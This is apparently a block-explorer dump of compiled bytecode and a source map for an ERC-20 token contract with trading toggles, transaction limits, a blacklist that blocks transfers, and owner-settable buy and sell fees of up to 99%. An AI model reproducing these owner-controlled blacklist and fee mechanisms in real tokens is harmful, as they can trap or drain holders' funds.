6040519081526020016101f4565b34801561029557600080fd5b5061021d6102a43660046119d5565b610640565b3480156102b557600080fd5b5060065460405160ff90911681526020016101f4565b3480156102d757600080fd5b50600754610252906001600160a01b031681565b3480156102f757600080fd5b50600c5461021d90610100900460ff1681565b34801561031657600080fd5b5061027b600e5481565b34801561032c57600080fd5b50600c5461021d9060ff1681565b34801561034657600080fd5b50600c5461021d9062010000900460ff1681565b34801561036657600080fd5b5061027b610375366004611a16565b6001600160a01b031660009081526001602052604090205490565b34801561039c57600080fd5b506103a56106a9565b005b3480156103b357600080fd5b5061021d6106e8565b3480156103c857600080fd5b50600854610252906001600160a01b031681565b3480156103e857600080fd5b506103a5610723565b3480156103fd57600080fd5b506000546001600160a01b0316610252565b34801561041b57600080fd5b506101e7610760565b34801561043057600080fd5b506103a561076f565b34801561044557600080fd5b5061021d6104543660046119a9565b610a2f565b34801561046557600080fd5b506103a5610474366004611a33565b610a3c565b34801561048557600080fd5b5061021d610494366004611a16565b60126020526000908152604090205460ff1681565b3480156104b557600080fd5b5061027b60095481565b3480156104cb57600080fd5b5061027b600d5481565b3480156104e157600080fd5b5061027b6104f0366004611a55565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561052757600080fd5b5061021d610536366004611a16565b60116020526000908152604090205460ff1681565b34801561055757600080fd5b5061027b600a5481565b34801561056d57600080fd5b506103a561057c366004611a16565b610acf565b34801561058d57600080fd5b5061027b600b5481565b6060600480546105a690611a8e565b80601f01602080910402602001604051908101604052809291908181526020018280546105d290611a8e565b801561061f5780601f106105f45761010080835404028352916020019161061f565b820191906000526020600020905b81548152906001019060200180831161060257829003601f168201915b5050505050905090565b6000610636338484610b6a565b5060015b92915050565b600061064d848484610c8e565b61069f843361069a85604051806060016040528060288152602001611c45602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112a5565b610b6a565b5060019392505050565b6000546001600160a01b031633146106dc5760405162461bcd60e51b81526004016106d390611ac8565b60405180910390fd5b6106e660006112df565b565b600080546001600160a01b031633146107135760405162461bcd60e51b81526004016106d390611ac8565b50600c805460ff19169055600190565b6000546001600160a01b0316331461074d5760405162461bcd60e51b81526004016106d390611ac8565b600c805462ffff00191662010100179055565b6060600580546105a690611a8e565b6000546001600160a01b031633146107995760405162461bcd60e51b81526004016106d390611ac8565b600660019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108109190611afd565b6001600160a01b031663c9c6539630600660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610872573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108969190611afd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109079190611afd565b600780546001600160a01b0319166001600160a01b0392831690811782556000908152601160209081526040808320805460ff1990811660019081179092559454861684526012909252909120805490921617905560065460035461097492309261010090041690610b6a565b600654306000818152600160205260409020546101009092046001600160a01b03169163f305d7199147916040516001600160e01b031960e086901b1681526001600160a01b0390921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af1158015610a05573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2a9190611b1a565b505050565b6000610636338484610c8e565b6000546001600160a01b03163314610a665760405162461bcd60e51b81526004016106d390611ac8565b60638211158015610a78575060638111155b610ac45760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420393925206f72206c65737300000060448201526064016106d3565b600d91909155600e55565b6000546001600160a01b03163314610af95760405162461bcd60e51b81526004016106d390611ac8565b6001600160a01b038116610b5e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d3565b610b67816112df565b50565b6001600160a01b038316610bcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d3565b6001600160a01b038216610c2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d3565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106d3565b6001600160a01b038216610d545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106d3565b60008111610dba5760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201526c0726561746572207468616e203609c1b60648201526084016106d3565b6001600160a01b0383166000908152600f602052604090205460ff1615610e175760405162461bcd60e51b815260206004820152601160248201527016d99c9bdb5748189b1858dac81b1a5cdd607a1b60448201526064016106d3565b6001600160a01b0382166000908152600f602052604090205460ff1615610e725760405162461bcd60e51b815260206004820152600f60248201526e16dd1bd748189b1858dac81b1a5cdd608a1b60448201526064016106d3565b600c5460ff16156111dc576000546001600160a01b03848116911614801590610ea957506000546001600160a01b03838116911614155b8015610ebd57506001600160a01b03821615155b8015610ed457506001600160a01b03821661dead14155b8015610eea5750600754600160a01b900460ff16155b156111dc57600c54610100900460ff16610f82576001600160a01b03831660009081526010602052604090205460ff1680610f3d57506001600160a01b03821660009081526010602052604090205460ff165b610f825760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106d3565b6001600160a01b03831660009081526012602052604090205460ff168015610fc357506001600160a01b03821660009081526011602052604090205460ff16155b156110a1576009548111156110325760405162461bcd60e51b815260206004820152602f60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526e36b0bc2a3930b739b0b1ba34b7b71760891b60648201526084016106d3565b600b546001600160a01b0383166000908152600160205260409020546110589083611b5e565b111561109c5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106d3565b6111dc565b6001600160a01b03821660009081526012602052604090205460ff1680156110e257506001600160a01b03831660009081526011602052604090205460ff16155b156111525760095481111561109c5760405162461bcd60e51b815260206004820152603060248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526f1036b0bc2a3930b739b0b1ba34b7b71760811b60648201526084016106d3565b6001600160a01b03821660009081526011602052604090205460ff166111dc57600b546001600160a01b0383166000908152600160205260409020546111989083611b5e565b11156111dc5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106d3565b600c5462010000900460ff1680156111fe5750600754600160a01b900460ff16155b801561122257506001600160a01b03821660009081526012602052604090205460ff165b801561124757506001600160a01b03831660009081526010602052604090205460ff16155b801561126c57506001600160a01b03821660009081526010602052604090205460ff16155b1561129a576007805460ff60a01b1916600160a01b17905561128c61132f565b6007805460ff60a01b191690555b610a2a8383836113b7565b600081848411156112c95760405162461bcd60e51b81526004016106d39190611946565b5060006112d68486611b71565b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b30600090815260016020526040902054600a5461134e906107d0611b84565b81111561136757600a54611364906107d0611b84565b90505b600a5481111561137a5761137a8161147f565b6008546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156113b3573d6000803e3d6000fd5b5050565b6000806113c58585856115fc565b6001600160a01b03871660009081526001602052604090205491935091506113ed90836117b1565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461141c90826117fa565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114709085815260200190565b60405180910390a35050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114b4576114b4611b9b565b60200260200101906001600160a01b031690816001600160a01b031681525050600660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154b9190611afd565b8160018151811061155e5761155e611b9b565b6001600160a01b03928316602091820292909201015260065461158991309161010090041684610b6a565b60065460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906115c6908590600090869030904290600401611bb1565b600060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050505050565b6001600160a01b0383166000908152601060205260408120548190819060ff168061163f57506001600160a01b03851660009081526010602052604090205460ff165b1590506000811561176b576001600160a01b03861660009081526012602052604090205460ff16801561167457506000600e54115b156116a0576116996064611693600e548861185990919063ffffffff16565b906118db565b90506116ec565b6001600160a01b03871660009081526012602052604090205460ff1680156116ca57506000600d54115b156116ec576116e96064611693600d548861185990919063ffffffff16565b90505b8015611766573060009081526001602052604090205461170c90826117fa565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061175d9085815260200190565b60405180910390a35b611797565b6008546001600160a01b0390811690881603611797578061178c8187611b71565b9350935050506117a9565b846117a28282611b71565b9350935050505b935093915050565b60006117f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a5565b9392505050565b6000806118078385611b5e565b9050838110156117f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106d3565b60008260000361186b5750600061063a565b60006118778385611b84565b9050826118848583611c22565b146117f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106d3565b60006117f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836119395760405162461bcd60e51b81526004016106d39190611946565b5060006112d68486611c22565b600060208083528351808285015260005b8181101561197357858101830151858201604001528201611957565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b6757600080fd5b600080604083850312156119bc57600080fd5b82356119c781611994565b946020939093013593505050565b6000806000606084860312156119ea57600080fd5b83356119f581611994565b92506020840135611a0581611994565b929592945050506040919091013590565b600060208284031215611a2857600080fd5b81356117f381611994565b60008060408385031215611a4657600080fd5b50508035926020909101359150565b60008060408385031215611a6857600080fd5b8235611a7381611994565b91506020830135611a8381611994565b809150509250929050565b600181811c90821680611aa257607f821691505b602082108103611ac257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b0f57600080fd5b81516117f381611994565b600080600060608486031215611b2f57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8082018082111561063a5761063a611b48565b8181038181111561063a5761063a611b48565b808202811582820484141761063a5761063a611b48565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c015784516001600160a01b031683529383019391830191600101611bdc565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c3f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f3c734068304c69b82fba01daf31b7c31b136fa03eb68cd46c3d7ed23d15afe64736f6c63430008130033
Deployed Bytecode Sourcemap
4347:9520:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6160:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7048:186;;;;;;;;;;-1:-1:-1;7048:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7048:186:0;1023:187:1;4724:41:0;;;;;;;;;;-1:-1:-1;4724:41:0;;;;;;;-1:-1:-1;;;;;4724:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;4724:41:0;1215:229:1;6437:100:0;;;;;;;;;;-1:-1:-1;6517:12:0;;6437:100;;;1595:25:1;;;1583:2;1568:18;6437:100:0;1449:177:1;7242:446:0;;;;;;;;;;-1:-1:-1;7242:446:0;;;;;:::i;:::-;;:::i;6346:83::-;;;;;;;;;;-1:-1:-1;6412:9:0;;6346:83;;6412:9;;;;2234:36:1;;2222:2;2207:18;6346:83:0;2092:184:1;4772:28:0;;;;;;;;;;-1:-1:-1;4772:28:0;;;;-1:-1:-1;;;;;4772:28:0;;;5095:34;;;;;;;;;;-1:-1:-1;5095:34:0;;;;;;;;;;;5216:32;;;;;;;;;;;;;;;;5057:31;;;;;;;;;;-1:-1:-1;5057:31:0;;;;;;;;5136;;;;;;;;;;-1:-1:-1;5136:31:0;;;;;;;;;;;6545:119;;;;;;;;;;-1:-1:-1;6545:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6638:18:0;6611:7;6638:18;;;:9;:18;;;;;;;6545:119;924:103;;;;;;;;;;;;;:::i;:::-;;8896:119;;;;;;;;;;;;;:::i;4839:30::-;;;;;;;;;;-1:-1:-1;4839:30:0;;;;-1:-1:-1;;;;;4839:30:0;;;8775:113;;;;;;;;;;;;;:::i;701:87::-;;;;;;;;;;-1:-1:-1;747:7:0;774:6;-1:-1:-1;;;;;774:6:0;701:87;;6251;;;;;;;;;;;;;:::i;8076:691::-;;;;;;;;;;;;;:::i;6672:192::-;;;;;;;;;;-1:-1:-1;6672:192:0;;;;;:::i;:::-;;:::i;9023:227::-;;;;;;;;;;-1:-1:-1;9023:227:0;;;;;:::i;:::-;;:::i;5434:57::-;;;;;;;;;;-1:-1:-1;5434:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4878:56;;;;;;;;;;;;;;;;5176:31;;;;;;;;;;;;;;;;6872:168;;;;;;;;;;-1:-1:-1;6872:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7005:18:0;;;6978:7;7005:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6872:168;5368:57;;;;;;;;;;-1:-1:-1;5368:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4941:49;;;;;;;;;;;;;;;;1035:238;;;;;;;;;;-1:-1:-1;1035:238:0;;;;;:::i;:::-;;:::i;4997:51::-;;;;;;;;;;;;;;;;6160:83;6197:13;6230:5;6223:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6160:83;:::o;7048:186::-;7148:4;7165:39;302:10;7188:7;7197:6;7165:8;:39::i;:::-;-1:-1:-1;7222:4:0;7048:186;;;;;:::o;7242:446::-;7374:4;7391:36;7401:6;7409:9;7420:6;7391:9;:36::i;:::-;7438:220;7461:6;302:10;7509:138;7565:6;7509:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7509:19:0;;;;;;:11;:19;;;;;;;;302:10;7509:33;;;;;;;;;;:37;:138::i;:::-;7438:8;:220::i;:::-;-1:-1:-1;7676:4:0;7242:446;;;;;:::o;924:103::-;747:7;774:6;-1:-1:-1;;;;;774:6:0;302:10;836:23;828:68;;;;-1:-1:-1;;;828:68:0;;;;;;;:::i;:::-;;;;;;;;;989:30:::1;1016:1;989:18;:30::i;:::-;924:103::o:0;8896:119::-;8948:4;774:6;;-1:-1:-1;;;;;774:6:0;302:10;836:23;828:68;;;;-1:-1:-1;;;828:68:0;;;;;;;:::i;:::-;-1:-1:-1;8965:12:0::1;:20:::0;;-1:-1:-1;;8965:20:0::1;::::0;;;8896:119;:::o;8775:113::-;747:7;774:6;-1:-1:-1;;;;;774:6:0;302:10;836:23;828:68;;;;-1:-1:-1;;;828:68:0;;;;;;;:::i;:::-;8830:14:::1;:21:::0;;-1:-1:-1;;8862:18:0;;;;;8775:113::o;6251:87::-;6290:13;6323:7;6316:14;;;;;:::i;8076:691::-;747:7;774:6;-1:-1:-1;;;;;774:6:0;302:10;836:23;828:68;;;;-1:-1:-1;;;828:68:0;;;;;;;:::i;:::-;8162:15:::1;;;;;;;;;-1:-1:-1::0;;;;;8162:15:0::1;-1:-1:-1::0;;;;;8162:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8144:55:0::1;;8226:4;8250:15;;;;;;;;;-1:-1:-1::0;;;;;8250:15:0::1;-1:-1:-1::0;;;;;8250:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8144:143;::::0;-1:-1:-1;;;;;;8144:143:0::1;::::0;;;;;;-1:-1:-1;;;;;4619:15:1;;;8144:143:0::1;::::0;::::1;4601:34:1::0;4671:15;;4651:18;;;4644:43;4536:18;;8144:143:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8128:13;:159:::0;;-1:-1:-1;;;;;;8128:159:0::1;-1:-1:-1::0;;;;;8128:159:0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;8300:40:0;;;:25:::1;:40;::::0;;;;;;;:47;;-1:-1:-1;;8300:47:0;;::::1;-1:-1:-1::0;8300:47:0;;::::1;::::0;;;8384:13;;;::::1;8358:40:::0;;:25:::1;:40:::0;;;;;;:47;;;;::::1;;::::0;;8448:15:::1;::::0;8466:12:::1;::::0;8416:63:::1;::::0;8433:4:::1;::::0;8128:159:::1;8448:15:::0;::::1;;::::0;8416:8:::1;:63::i;:::-;8492:15;::::0;8576:4:::1;6611:7:::0;6638:18;;;:9;:18;;;;;;8492:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;8492:15:0::1;::::0;:31:::1;::::0;8531:21:::1;::::0;8492:267:::1;::::0;-1:-1:-1;;;;;;8492:267:0::1;::::0;;;;;;-1:-1:-1;;;;;5057:15:1;;;8492:267:0::1;::::0;::::1;5039:34:1::0;5089:18;;;5082:34;8635:1:0::1;5132:18:1::0;;;5125:34;;;5175:18;;;5168:34;8675:42:0::1;5218:19:1::0;;;5211:44;8733:15:0::1;5271:19:1::0;;;5264:35;4973:19;;8492:267:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8076:691::o:0;6672:192::-;6775:4;6792:42;302:10;6816:9;6827:6;6792:9;:42::i;9023:227::-;747:7;774:6;-1:-1:-1;;;;;774:6:0;302:10;836:23;828:68;;;;-1:-1:-1;;;828:68:0;;;;;;;:::i;:::-;9123:2:::1;9113:6;:12;;:29;;;;;9140:2;9129:7;:13;;9113:29;9105:71;;;::::0;-1:-1:-1;;;9105:71:0;;5823:2:1;9105:71:0::1;::::0;::::1;5805:21:1::0;5862:2;5842:18;;;5835:30;5901:31;5881:18;;;5874:59;5950:18;;9105:71:0::1;5621:353:1::0;9105:71:0::1;9187:12;:21:::0;;;;9219:13:::1;:23:::0;9023:227::o;1035:238::-;747:7;774:6;-1:-1:-1;;;;;774:6:0;302:10;836:23;828:68;;;;-1:-1:-1;;;828:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1138:22:0;::::1;1116:110;;;::::0;-1:-1:-1;;;1116:110:0;;6181:2:1;1116:110:0::1;::::0;::::1;6163:21:1::0;6220:2;6200:18;;;6193:30;6259:34;6239:18;;;6232:62;-1:-1:-1;;;6310:18:1;;;6303:36;6356:19;;1116:110:0::1;5979:402:1::0;1116:110:0::1;1237:28;1256:8;1237:18;:28::i;:::-;1035:238:::0;:::o;7696:335::-;-1:-1:-1;;;;;7789:19:0;;7781:68;;;;-1:-1:-1;;;7781:68:0;;6588:2:1;7781:68:0;;;6570:21:1;6627:2;6607:18;;;6600:30;6666:34;6646:18;;;6639:62;-1:-1:-1;;;6717:18:1;;;6710:34;6761:19;;7781:68:0;6386:400:1;7781:68:0;-1:-1:-1;;;;;7868:21:0;;7860:68;;;;-1:-1:-1;;;7860:68:0;;6993:2:1;7860:68:0;;;6975:21:1;7032:2;7012:18;;;7005:30;7071:34;7051:18;;;7044:62;-1:-1:-1;;;7122:18:1;;;7115:32;7164:19;;7860:68:0;6791:398:1;7860:68:0;-1:-1:-1;;;;;7939:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7991:32;;1595:25:1;;;7991:32:0;;1568:18:1;7991:32:0;;;;;;;7696:335;;;:::o;9258:2363::-;-1:-1:-1;;;;;9347:18:0;;9339:68;;;;-1:-1:-1;;;9339:68:0;;7396:2:1;9339:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:35;7570:19;;9339:68:0;7194:401:1;9339:68:0;-1:-1:-1;;;;;9426:16:0;;9418:64;;;;-1:-1:-1;;;9418:64:0;;7802:2:1;9418:64:0;;;7784:21:1;7841:2;7821:18;;;7814:30;7880:34;7860:18;;;7853:62;-1:-1:-1;;;7931:18:1;;;7924:33;7974:19;;9418:64:0;7600:399:1;9418:64:0;9510:1;9501:6;:10;9493:68;;;;-1:-1:-1;;;9493:68:0;;8206:2:1;9493:68:0;;;8188:21:1;8245:2;8225:18;;;8218:30;8284:34;8264:18;;;8257:62;-1:-1:-1;;;8335:18:1;;;8328:43;8388:19;;9493:68:0;8004:409:1;9493:68:0;-1:-1:-1;;;;;9581:18:0;;;;;;:12;:18;;;;;;;;9580:19;9572:49;;;;-1:-1:-1;;;9572:49:0;;8620:2:1;9572:49:0;;;8602:21:1;8659:2;8639:18;;;8632:30;-1:-1:-1;;;8678:18:1;;;8671:47;8735:18;;9572:49:0;8418:341:1;9572:49:0;-1:-1:-1;;;;;9641:16:0;;;;;;:12;:16;;;;;;;;9640:17;9632:45;;;;-1:-1:-1;;;9632:45:0;;8966:2:1;9632:45:0;;;8948:21:1;9005:2;8985:18;;;8978:30;-1:-1:-1;;;9024:18:1;;;9017:45;9079:18;;9632:45:0;8764:339:1;9632:45:0;9694:12;;;;9690:1577;;;747:7;774:6;-1:-1:-1;;;;;9745:15:0;;;774:6;;9745:15;;;;:49;;-1:-1:-1;747:7:0;774:6;-1:-1:-1;;;;;9781:13:0;;;774:6;;9781:13;;9745:49;:86;;;;-1:-1:-1;;;;;;9815:16:0;;;;9745:86;:128;;;;-1:-1:-1;;;;;;9852:21:0;;9866:6;9852:21;;9745:128;:158;;;;-1:-1:-1;9895:8:0;;-1:-1:-1;;;9895:8:0;;;;9894:9;9745:158;9723:1533;;;9943:14;;;;;;;9938:224;;-1:-1:-1;;;;;10016:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;10045:23:0;;;;;;:19;:23;;;;;;;;10016:52;9982:160;;;;-1:-1:-1;;;9982:160:0;;9310:2:1;9982:160:0;;;9292:21:1;9349:2;9329:18;;;9322:30;-1:-1:-1;;;9368:18:1;;;9361:52;9430:18;;9982:160:0;9108:346:1;9982:160:0;-1:-1:-1;;;;;10208:31:0;;;;;;:25;:31;;;;;;;;:86;;;;-1:-1:-1;;;;;;10265:29:0;;;;;;:25;:29;;;;;;;;10264:30;10208:86;10182:1059;;;10381:14;;10371:6;:24;;10337:157;;;;-1:-1:-1;;;10337:157:0;;9661:2:1;10337:157:0;;;9643:21:1;9700:2;9680:18;;;9673:30;9739:34;9719:18;;;9712:62;-1:-1:-1;;;9790:18:1;;;9783:45;9845:19;;10337:157:0;9459:411:1;10337:157:0;10577:9;;-1:-1:-1;;;;;6638:18:0;;6611:7;6638:18;;;:9;:18;;;;;;10551:22;;:6;:22;:::i;:::-;:35;;10517:140;;;;-1:-1:-1;;;10517:140:0;;10339:2:1;10517:140:0;;;10321:21:1;10378:2;10358:18;;;10351:30;-1:-1:-1;;;10397:18:1;;;10390:49;10456:18;;10517:140:0;10137:343:1;10517:140:0;10182:1059;;;-1:-1:-1;;;;;10709:29:0;;;;;;:25;:29;;;;;;;;:86;;;;-1:-1:-1;;;;;;10764:31:0;;;;;;:25;:31;;;;;;;;10763:32;10709:86;10683:558;;;10882:14;;10872:6;:24;;10838:158;;;;-1:-1:-1;;;10838:158:0;;10687:2:1;10838:158:0;;;10669:21:1;10726:2;10706:18;;;10699:30;10765:34;10745:18;;;10738:62;-1:-1:-1;;;10816:18:1;;;10809:46;10872:19;;10838:158:0;10485:412:1;10683:558:0;-1:-1:-1;;;;;11027:29:0;;;;;;:25;:29;;;;;;;;11022:219;;11141:9;;-1:-1:-1;;;;;6638:18:0;;6611:7;6638:18;;;:9;:18;;;;;;11115:22;;:6;:22;:::i;:::-;:35;;11081:140;;;;-1:-1:-1;;;11081:140:0;;10339:2:1;11081:140:0;;;10321:21:1;10378:2;10358:18;;;10351:30;-1:-1:-1;;;10397:18:1;;;10390:49;10456:18;;11081:140:0;10137:343:1;11081:140:0;11297:11;;;;;;;:37;;;;-1:-1:-1;11326:8:0;;-1:-1:-1;;;11326:8:0;;;;11325:9;11297:37;:83;;;;-1:-1:-1;;;;;;11351:29:0;;;;;;:25;:29;;;;;;;;11297:83;:126;;;;-1:-1:-1;;;;;;11398:25:0;;;;;;:19;:25;;;;;;;;11397:26;11297:126;:167;;;;-1:-1:-1;;;;;;11441:23:0;;;;;;:19;:23;;;;;;;;11440:24;11297:167;11279:295;;;11491:8;:15;;-1:-1:-1;;;;11491:15:0;-1:-1:-1;;;11491:15:0;;;11521:10;:8;:10::i;:::-;11546:8;:16;;-1:-1:-1;;;;11546:16:0;;;11279:295;11586:27;11596:4;11602:2;11606:6;11586:9;:27::i;2641:224::-;2761:7;2797:12;2789:6;;;;2781:29;;;;-1:-1:-1;;;2781:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2821:9:0;2833:5;2837:1;2833;:5;:::i;:::-;2821:17;2641:224;-1:-1:-1;;;;;2641:224:0:o;1281:191::-;1355:16;1374:6;;-1:-1:-1;;;;;1391:17:0;;;-1:-1:-1;;;;;;1391:17:0;;;;;;1424:40;;1374:6;;;;;;;1424:40;;1355:16;1424:40;1344:128;1281:191;:::o;13466:398::-;13549:4;13505:23;6638:18;;;:9;:18;;;;;;13590;;:25;;13611:4;13590:25;:::i;:::-;13572:15;:43;13568:119;;;13650:18;;:25;;13671:4;13650:25;:::i;:::-;13632:43;;13568:119;13721:18;;13703:15;:36;13699:88;;;13754:33;13771:15;13754:16;:33::i;:::-;13808:15;;13800:56;;-1:-1:-1;;;;;13808:15:0;;;;13834:21;13800:56;;;;;13808:15;13800:56;13808:15;13800:56;13834:21;13808:15;13800:56;;;;;;;;;;;;;;;;;;;;;13494:370;13466:398::o;11629:309::-;11711:16;11729;11749:25;11757:4;11763:2;11767:6;11749:7;:25::i;:::-;-1:-1:-1;;;;;11803:15:0;;;;;;:9;:15;;;;;;11710:64;;-1:-1:-1;11710:64:0;-1:-1:-1;11803:29:0;;11710:64;11803:19;:29::i;:::-;-1:-1:-1;;;;;11785:15:0;;;;;;;:9;:15;;;;;;:47;;;;11859:13;;;;;;;:27;;11877:8;11859:17;:27::i;:::-;-1:-1:-1;;;;;11843:13:0;;;;;;;:9;:13;;;;;;;:43;;;;11902:28;;;;;;;;;;11921:8;1595:25:1;;1583:2;1568:18;;1449:177;11902:28:0;;;;;;;;11699:239;;11629:309;;;:::o;12955:503::-;13045:16;;;13059:1;13045:16;;;;;;;;13021:21;;13045:16;;;;;;;;;;-1:-1:-1;13045:16:0;13021:40;;13090:4;13072;13077:1;13072:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;13072:23:0;;;-1:-1:-1;;;;;13072:23:0;;;;;13116:15;;;;;;;;;-1:-1:-1;;;;;13116:15:0;-1:-1:-1;;;;;13116:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13106:4;13111:1;13106:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13106:32:0;;;:7;;;;;;;;;:32;13183:15;;13151:62;;13168:4;;13183:15;;;;13201:11;13151:8;:62::i;:::-;13226:15;;:224;;-1:-1:-1;;;13226:224:0;;:15;;;;-1:-1:-1;;;;;13226:15:0;;:66;;:224;;13307:11;;13333:1;;13377:4;;13404;;13424:15;;13226:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13010:448;12955:503;:::o;11946:886::-;-1:-1:-1;;;;;12103:25:0;;12057:7;12103:25;;;:19;:25;;;;;;12057:7;;;;12103:25;;;:52;;-1:-1:-1;;;;;;12132:23:0;;;;;;:19;:23;;;;;;;;12103:52;12101:55;12086:70;;12169:12;12202:7;12198:584;;;-1:-1:-1;;;;;12230:29:0;;;;;;:25;:29;;;;;;;;:50;;;;;12279:1;12263:13;;:17;12230:50;12226:270;;;12308:34;12338:3;12308:25;12319:13;;12308:6;:10;;:25;;;;:::i;:::-;:29;;:34::i;:::-;1